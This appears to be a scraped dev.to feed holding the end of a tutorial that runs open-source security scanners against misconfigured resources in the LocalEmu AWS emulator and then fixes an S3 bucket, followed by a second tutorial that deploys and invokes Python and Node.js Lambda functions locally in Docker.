&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fanxo4r50cktx68oquvcw.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fanxo4r50cktx68oquvcw.png" alt="LocalEmu in action" width="800" height="484"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;And the instances:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ec2-security-scanner security
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7q40qdcyon8n01aarzpn.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7q40qdcyon8n01aarzpn.png" alt="LocalEmu in action" width="800" height="393"&gt;&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;ec2-security-scanner security
╔══════════════════════════════════════════════════════════╗
║ EC2 Security Scanner ║
║ Comprehensive EC2 Security Auditing ║
╚══════════════════════════════════════════════════════════╝
  Version 1.0.0 | https://github.com/TocConsulting/ec2-security-scanner

Starting EC2 security analysis...

2026-05-31 12:47:40,191 - INFO - Found 2 EC2 instances (filter: running) in account 000000000000
Scanning 2 instance(s)...

2026-05-31 12:47:40,192 - INFO - Running account-level security checks...
2026-05-31 12:47:40,344 - INFO - Running VPC-level checks for 1 VPCs...
  Scanning 2 instances...
         EC2 Security Scan Summary
┏━━━━━━━━━━━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┓
┃ Metric ┃ Value ┃
┡━━━━━━━━━━━━━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━┩
│ Region │ us-east-1 │
│ Account │ 000000000000 │
│ Total Instances │ 2 │
│ Running │ 2 │
│ Stopped │ 0 │
│ Public IP │ 2 │
│ With Secrets in UserData │ 0 │
│ Unencrypted Volumes │ 2 │
│ Critical Issues │ 2 │
│ High Issues │ 2 │
│ Avg Instance Score │ 2.0/100 │
│ Environment Score │ 30/100 │
└──────────────────────────┴──────────────┘
                                                                     Environment Posture (account + VPC, counted once)
┏━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
┃ Severity ┃ Finding ┃ Description ┃
┡━━━━━━━━━━━━╇━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┩
│ HIGH │ NO_GUARDDUTY │ GuardDuty is not enabled for EC2 protection. │
│ HIGH │ VPC_BPA_NOT_ENABLED │ VPC Block Public Access is not blocking IGW traffic. │
│ HIGH │ NO_CLOUDTRAIL │ No active CloudTrail trail found. │
│ HIGH │ DEFAULT_SG_HAS_RULES │ VPC default security group allows traffic in: ['vpc-c19b5364e20197df2'] │
│ MEDIUM │ EBS_DEFAULT_ENCRYPTION_DISABLED │ EBS default encryption is not enabled. │
│ MEDIUM │ NO_VPC_FLOW_LOGS │ VPC flow logging is not enabled in: ['vpc-c19b5364e20197df2'] │
│ MEDIUM │ NACL_ADMIN_PORTS_OPEN │ Network ACLs allow admin ports from 0.0.0.0/0 in: ['vpc-c19b5364e20197df2'] │
└────────────┴─────────────────────────────────┴──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────┘
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Both instances scored 2 out of 100. The scanner caught the public IPs, IMDSv1 (the older, SSRF-prone metadata service), the unencrypted EBS volumes, and the security group exposing SSH and RDP to the world, plus environment-level issues like the permissive default security group, missing VPC flow logs, and no GuardDuty.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 5: Fix it and re-scan
&lt;/h3&gt;

&lt;p&gt;This is where a local lab really pays off: the feedback loop is seconds, not a deploy cycle. Lock the bucket down:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;aws s3api put-public-access-block &lt;span class="nt"&gt;--bucket&lt;/span&gt; acme-public-website &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--public-access-block-configuration&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nv"&gt;BlockPublicAcls&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;true&lt;/span&gt;,IgnorePublicAcls&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;true&lt;/span&gt;,BlockPublicPolicy&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;true&lt;/span&gt;,RestrictPublicBuckets&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;true
&lt;/span&gt;aws s3api put-bucket-encryption &lt;span class="nt"&gt;--bucket&lt;/span&gt; acme-public-website &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--server-side-encryption-configuration&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="s1"&gt;'{"Rules":[{"ApplyServerSideEncryptionByDefault":{"SSEAlgorithm":"AES256"}}]}'&lt;/span&gt;

s3-security-scanner security
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fok5mmpdgg0at8bs5upry.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fok5mmpdgg0at8bs5upry.png" alt="LocalEmu in action" width="800" height="486"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Watch the score climb and the “Public Buckets” count drop to zero. You just practiced detection and remediation without ever touching a real account.&lt;/p&gt;

&lt;h3&gt;
  
  
  Why this is genuinely useful
&lt;/h3&gt;

&lt;p&gt;This is not just a party trick. A local AWS plus a scanner is a real tool:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Learn cloud security for free.&lt;/strong&gt; Plant a misconfiguration, see how a scanner catches it, fix it, repeat. No bill, no risk.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Develop and test security tooling.&lt;/strong&gt; If you write scanners, policy checks, or remediation scripts, you need predictable, reproducible inputs. Seed the exact resource you want and assert on the output.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Run it in CI.&lt;/strong&gt; Spin up LocalEmu in a pipeline, apply your Terraform, scan it, and fail the build on a critical finding, all before anything reaches AWS.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Onboard and demo safely.&lt;/strong&gt; Teach a team what “good” looks like without handing out real credentials.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Reproduce findings.&lt;/strong&gt; Got a weird scanner result against prod? Recreate the resource locally and debug it in isolation.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  An honest caveat
&lt;/h3&gt;

&lt;p&gt;LocalEmu is an emulator, not AWS. Coverage and fidelity vary by service, and it will not perfectly mirror every IAM edge case or every API quirk. You will actually see this in the EC2 scan: a few of the scanner’s checks call newer APIs the emulator has not implemented yet (snapshot block-public-access, serial console, patch state), and the scanner reports those as errors rather than crashing. That is the right behavior, and it is also a useful reminder that local results are a strong approximation, not ground truth. Treat LocalEmu as what it is: an excellent environment for learning, building tooling, and CI, and a complement to, not a replacement for, scanning your real accounts. Use it to get your tooling and your instincts sharp, then point those same tools at production with confidence.&lt;/p&gt;

&lt;h3&gt;
  
  
  Wrap-up
&lt;/h3&gt;

&lt;p&gt;In about ten minutes, with no AWS account and no spend, we stood up a local cloud, planted realistic misconfigurations, caught them with real security scanners across ten compliance frameworks, and remediated one in a seconds-long loop. That is a security lab you can keep on your laptop and rebuild from scratch any time.&lt;/p&gt;

&lt;p&gt;Spin one up and try breaking it. It is the safest place to do so.&lt;/p&gt;

&lt;h3&gt;
  
  
  Links
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;LocalEmu: &lt;a href="https://github.com/localemu/localemu" rel="noopener noreferrer"&gt;https://github.com/localemu/localemu&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;S3 Security Scanner: &lt;a href="https://github.com/TocConsulting/s3-security-scanner" rel="noopener noreferrer"&gt;https://github.com/TocConsulting/s3-security-scanner&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Lambda Security Scanner: &lt;a href="https://github.com/TocConsulting/lambda-security-scanner" rel="noopener noreferrer"&gt;https://github.com/TocConsulting/lambda-security-scanner&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;EC2 Security Scanner: &lt;a href="https://github.com/TocConsulting/ec2-security-scanner" rel="noopener noreferrer"&gt;https://github.com/TocConsulting/ec2-security-scanner&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;&lt;em&gt;LocalEmu is an independent project and is not affiliated with or endorsed by LocalStack Inc.&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;




</description>
      <category>aws</category>
      <category>awslambda</category>
      <category>devops</category>
      <category>awsec2</category>
    </item>
    <item>
      <title>Run real AWS Lambda on your laptop</title>
      <dc:creator>Tarek CHEIKH</dc:creator>
      <pubDate>Thu, 28 May 2026 23:22:54 +0000</pubDate>
      <link>https://dev.to/tarekcheikh/run-real-aws-lambda-on-your-laptop-2peb</link>
      <guid>https://dev.to/tarekcheikh/run-real-aws-lambda-on-your-laptop-2peb</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fd5pu9mwcaatisr3io31a.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fd5pu9mwcaatisr3io31a.png" alt="Run real AWS Lambda on your laptop" width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h4&gt;
  
  
  Deploy and run Python and Node.js functions locally, with no AWS account
&lt;/h4&gt;

&lt;p&gt;When people hear “AWS emulator,” the fair question is always the same: is it actually running my code, or is it just returning a canned response that looks right?&lt;/p&gt;

&lt;p&gt;For Lambda in LocalEmu, the answer is that it runs your code, for real, inside the same runtime images AWS uses. In this article I will deploy two functions, in Python and in Node.js, invoke them, and then prove that genuine runtime containers are doing the work. Everything below is actual output from a clean run. No AWS account, no credentials, no cost.&lt;/p&gt;

&lt;h3&gt;
  
  
  Setup
&lt;/h3&gt;

&lt;p&gt;LocalEmu is a free, open-source AWS cloud emulator. Install it and start it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;pip &lt;span class="nb"&gt;install&lt;/span&gt; &lt;span class="s2"&gt;"localemu[runtime]"&lt;/span&gt;
localemu start
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5yb308a34d41wveuwi7i.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5yb308a34d41wveuwi7i.png" alt="LocalEmu Start" width="800" height="483"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;One prerequisite for this walkthrough: Docker must be installed and running, because LocalEmu executes Lambda functions inside real containers. With Docker in place, point the standard AWS CLI at the local endpoint. The clean way is one environment variable that both the AWS CLI and boto3 understand:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;export &lt;/span&gt;&lt;span class="nv"&gt;AWS_ENDPOINT_URL&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;http://localhost:4566
&lt;span class="nb"&gt;export &lt;/span&gt;&lt;span class="nv"&gt;AWS_ACCESS_KEY_ID&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;AKIAIOSFODNN7EXAMPLE
&lt;span class="nb"&gt;export &lt;/span&gt;&lt;span class="nv"&gt;AWS_SECRET_ACCESS_KEY&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
&lt;span class="nb"&gt;export &lt;/span&gt;&lt;span class="nv"&gt;AWS_DEFAULT_REGION&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;us-east-1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The nice part: unset &lt;code&gt;**_AWS\_ENDPOINT\_URL_**&lt;/code&gt; and the exact same commands talk to real AWS. Your code does not change.&lt;/p&gt;

&lt;p&gt;We need a role ARN for the function. IAM is local too, so this costs nothing:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;ROLE_ARN&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;aws iam create-role &lt;span class="nt"&gt;--role-name&lt;/span&gt; lambda-demo &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--assume-role-policy-document&lt;/span&gt; &lt;span class="s1"&gt;'{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"lambda.amazonaws.com"},"Action":"sts:AssumeRole"}]}'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--query&lt;/span&gt; Role.Arn &lt;span class="nt"&gt;--output&lt;/span&gt; text&lt;span class="si"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  A Python function
&lt;/h3&gt;

&lt;p&gt;Here is a function that doubles a number and reports the Python version it is running on. That second part matters: it lets the function tell us, from the inside, exactly which interpreter is executing it.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# handler.py
&lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;sys&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;handler&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;event&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;doubled&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;event&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;x&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;runtime&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;python &lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;version&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;split&lt;/span&gt;&lt;span class="p"&gt;()[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Package and deploy it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;zip fn.zip handler.py

aws lambda create-function &lt;span class="nt"&gt;--function-name&lt;/span&gt; doubler-py &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--runtime&lt;/span&gt; python3.14 &lt;span class="nt"&gt;--handler&lt;/span&gt; handler.handler &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--role&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$ROLE_ARN&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="nt"&gt;--zip-file&lt;/span&gt; fileb://fn.zip &lt;span class="nt"&gt;--timeout&lt;/span&gt; 30

aws lambda &lt;span class="nb"&gt;wait &lt;/span&gt;&lt;span class="k"&gt;function&lt;/span&gt;&lt;span class="nt"&gt;-active-v2&lt;/span&gt; &lt;span class="nt"&gt;--function-name&lt;/span&gt; doubler-py
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now invoke it. Put the payload in a file and pass it with &lt;code&gt;**_fileb://_**&lt;/code&gt;, which sends the bytes as-is. This works the same on AWS CLI v1 and v2; passing &lt;code&gt; — payload ‘{“x”:21}’&lt;/code&gt; as a string is handled differently between the two versions, so the file form avoids that.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat &lt;/span&gt;out.json
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Output:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"doubled"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;42&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"runtime"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"python 3.14.5"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6bmenzgyxoru56eyp8ru.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6bmenzgyxoru56eyp8ru.png" alt="LocalEmu in action" width="799" height="153"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The function did the arithmetic, and it reported &lt;code&gt;**_python 3.14.5_**&lt;/code&gt;. That version string did not come from a mock. It came from a real CPython interpreter running inside the official AWS Lambda Python image.&lt;/p&gt;

&lt;h3&gt;
  
  
  Proof: a real runtime container
&lt;/h3&gt;

&lt;p&gt;While the function is warm, look at what is running on your Docker host:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;docker ps &lt;span class="nt"&gt;--filter&lt;/span&gt; &lt;span class="s2"&gt;"ancestor=public.ecr.aws/lambda/python:3.14"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Output:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;edb5c4d0e600 public.ecr.aws/lambda/python:3.14 "/var/rapid/init" 4 minutes ago Up 4 minutes 0.0.0.0:53814-&amp;gt;9563/tcp, [::]:53814-&amp;gt;9563/tcp localemu-main-lambda-doubler-py-cdea066067fbec0c1726bc63cbf986e5
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvzonjz9iudfewskuy9ls.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvzonjz9iudfewskuy9ls.png" alt="LocalEmu in action" width="800" height="119"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;That is the official AWS Lambda Python runtime image, pulled from Amazon’s public registry, executing your handler. LocalEmu packaged your zip, started the container, ran your code, and returned the result, the same shape of work AWS does for you in the cloud. Because it is the real runtime, your packaging, your dependencies, your handler signature, and your timeouts all behave the way they will when you deploy.&lt;/p&gt;

&lt;h3&gt;
  
  
  Same idea, a different language
&lt;/h3&gt;

&lt;p&gt;To show this is not Python-specific, here is the same logic in Node.js:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// index.mjs&lt;/span&gt;
&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;handler&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;async &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;({&lt;/span&gt;
  &lt;span class="na"&gt;doubled&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;x&lt;/span&gt; &lt;span class="o"&gt;??&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;runtime&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;nodejs &lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;process&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;version&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Deploy and invoke it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;zip fn.zip index.mjs

aws lambda create-function &lt;span class="nt"&gt;--function-name&lt;/span&gt; doubler-node &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--runtime&lt;/span&gt; nodejs24.x &lt;span class="nt"&gt;--handler&lt;/span&gt; index.handler &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--role&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$ROLE_ARN&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="nt"&gt;--zip-file&lt;/span&gt; fileb://fn.zip &lt;span class="nt"&gt;--timeout&lt;/span&gt; 30

aws lambda &lt;span class="nb"&gt;wait &lt;/span&gt;&lt;span class="k"&gt;function&lt;/span&gt;&lt;span class="nt"&gt;-active-v2&lt;/span&gt; &lt;span class="nt"&gt;--function-name&lt;/span&gt; doubler-node

aws lambda invoke &lt;span class="nt"&gt;--function-name&lt;/span&gt; doubler-node &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--payload&lt;/span&gt; fileb://payload.json out.json

&lt;span class="nb"&gt;cat &lt;/span&gt;out.json
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Output:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"doubled"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;42&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"runtime"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"nodejs v24.14.1"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fi2oellmct1go6618k3zj.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fi2oellmct1go6618k3zj.png" alt="LocalEmu in action" width="800" height="489"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Node.js 24 itself, reporting &lt;code&gt;v24.14.1&lt;/code&gt; from inside the container. Same workflow, different language, no extra setup.&lt;/p&gt;

&lt;h3&gt;
  
  
  Why this matters
&lt;/h3&gt;

&lt;p&gt;A mock that returns a plausible JSON body can pass a happy-path test and still hide every interesting bug. Running the real runtime changes that. You find out locally whether your dependencies actually import, whether your handler signature is right, whether your function fits in memory, and how it behaves on a cold start, all before you spend a cent or wait on a deploy. The feedback loop shrinks from minutes to seconds, and you can run it on a plane with no internet.&lt;/p&gt;

&lt;h3&gt;
  
  
  Where it fits
&lt;/h3&gt;

